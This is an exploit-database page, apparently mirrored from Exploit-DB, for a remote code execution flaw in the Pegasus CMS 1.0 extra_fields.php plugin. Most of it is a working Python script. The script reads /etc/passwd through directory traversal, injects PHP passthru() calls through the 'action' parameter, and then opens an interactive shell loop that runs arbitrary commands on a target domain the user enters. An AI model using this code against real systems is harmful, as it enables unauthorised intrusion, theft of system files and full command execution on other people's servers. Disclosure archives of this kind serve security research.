Lucene search
K

Pegasus CMS 1.0 - 'extra_fields.php' Plugin Remote Code Execution

🗓️ 14 Mar 2019 00:00:00Reported by R3zk0nType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 91 Views

Pegasus CMS 1.0 Remote Code Execution via extra_fields.php Plugi

Code
# Exploit Title: Pegasus extra_fields.php Plugin Remote Code Execution
# Date: 14 March 2019
# Exploit Author: R3zk0n
# Vendor Homepage: https://www.wisdom.com.au/web/pegasus-cms
# Software Link: N/A
# Version: 1.0
# Tested on: Linux
# CVE : N/A

The Pegasus CMS is vulnerable to directory travaseral and Remote code execution due to the way the extra_fields.php plugin functions. 

The Plugin can be exploited using the safer eval trick linked below http://justanotherhacker.com/2016/04/analysis_of_the_safer_eval_rce_aka__the_wahckon_bug.html to obtain remote code execution

Exploit attached below:

#Eval is secure.. not really.
# These Greetz to people who are smart, Wireghoul, Nano, Silverly, m3mantra, and leostat. and z3al
requests.packages.urllib3.disable_warnings()
banner = '''
Welcome to the DANGER ZONE.
                                  ;;J,ss,g,;
                          ,s#@##"""77"^""77""@@Mw,
                      ,#@#C7:             ,,     *^*@@@w
                   ;@#7.             ;#@#.     ]ssmMMm#@@@m,
                ,##\`        ,<   ,@@@@Q ,,#@#*7` ;s@@@@@@@@@Q
              ;@#`         ]@C  ;@@@@@@@@@@"\  ;@@@@@@@@@@@@@@@m
             @#\          #@@w#@@@@@@@@@@#~   @@@#M5"7j5#@@@@@@@@Q
           ;@C           @@@@@@@@@@@@@@#\    @#\,           *77@@@k
          ##.           #@@@@@@@@@@@@@#     '*                  {@@@
         @#`          a@@@@@@@@@@@@@@L                           *%@@
        {@*        ]@@@@@@@@@@@@@@#C*                              "@@
       .@b;,s#@@@@@@@#@@#@@@@@@#C*                   ;s#@@@@@@m,    j@b
       @@@#@@@@@@@@@@@@@@@@@@#C    =*        ,ppJJs#@@@@@@@@@@@@@k   @@
       @#1@@@@@@@@@@@@@@@@#W~             ;@QQ@@@@@@@@@#` `|7@@@@~ ]@p
       @[ @@5"@@@@@@@@@@#~            s@@@@@####@@@@@#\         @@@b ]@b
       @[  @   j@@@@@@@@~]#"7        "@@#"\      7@@C           @@@b ]@b
       @@       @@@@@@@@@@c           ^@@         ]@          ,@@@#  @@b
       @@~  @   @@@@@@@@@@@b                      @#        a@@@@"  ]@@
       j@Q  @@@@@@@@@@@@@@@@o        ,J          ]\      s@@@@#"`  ]@@L
        ]@b ]@@@@@@@@@@@@@@@@o     ,@@@@>             ;@@@@@#^    #@@#
         @@Q """%*577"%@@@@@@#   ]@@@@@C            ;@@@@#C     ;@@@#*
          %@m          @@@@@@@  .@@@@@#            {@@@@@>    s@@@@#*
           7@@        @@M@@@@@k ^@@@"#             @@@@@@@@@@@@@@@#
            *@@m     @@bj@@@b@@@o|"^]#              %@@@@@@#M7@@#^
              7@@m   "#  @@# @@7@@@@@@~               ^||:`,#@#C
                ^%@@m j   @b j# \@@@@@@                 ,#@@#
                  `7@@@mJ  7  '  |%@@@@@m,     -g,ss#@@@@#C
                     `7%@@@Mm,     `7"%####@@MMMM#@@@#M7.
                          ^7@@@@@@@@@@@@@@@@@@@@#MT^:
                                `~^"7""""7^\*:
Chimeria Exploit.
pegausCMS Exploit's.
'''


print banner


raw_url = raw_input("Please enter a domain name: \n")


def dir_Trav(raw_url):
    print "Checking for directory travseral..\n"
    dir_list = requests.get("https://www."+ raw_url + "/file/includes/template/inc/test.cgi?&filename=/../../../../../../../../etc/passwd", headers={"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Connection": "close", "Cache-Control": "max-age=0"})
    print dir_list.content
    return
print "Trying to execute directory travseral"
dir_Trav(raw_url)
r = requests.get("http://" + raw_url)
print "Checking Status code: %s" % r.status_code
if r.status_code == 200:
    print "Connected"
    print "Checking is using vulnerable CMS."
    vuln = "http://" + raw_url + "/file/includes/plugins/globalFields/submit.php"
    b = requests.get("http://" + raw_url + "/file/includes/plugins/globalFields/submit.php")
    print "Checking CMS Status: %s " % b.status_code
    if b.status_code == 200:
        print "Seems exploitable.. Lets try to list the files!"



        print raw_url
        list_files = requests.post("http://www."+ raw_url +"/file/includes/plugins/extra_fields/submit.php", headers={"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Connection": "close"}, data={"action": "passthru(\"ls -lah\");exit;phpinfo"})
        print list_files.content
        status = list_files.status_code
        while status == 200:
            try:
                ShellCheck = raw_input("Shell>").strip()

                Shell = requests.post("http://www."+ raw_url +"/file/includes/plugins/extra_fields/submit.php", headers={"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Connection": "close"}, data={"action": "passthru(\"{}\");exit;phpinfo".format(ShellCheck)})

                print Shell.content
                if ShellCheck == "exit":
                    sys.exit(0)
            except KeyboardInterrupt:
                print "Your exited bye"
                sys.exit(0)

    else:
        print "Connected but does not seem exploitable. \n"
        print "Bye!!!!!!!!!! \n"




else:
    print "Not connected"

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Mar 2019 00:00Current
7.4High risk
Vulners AI Score7.4
91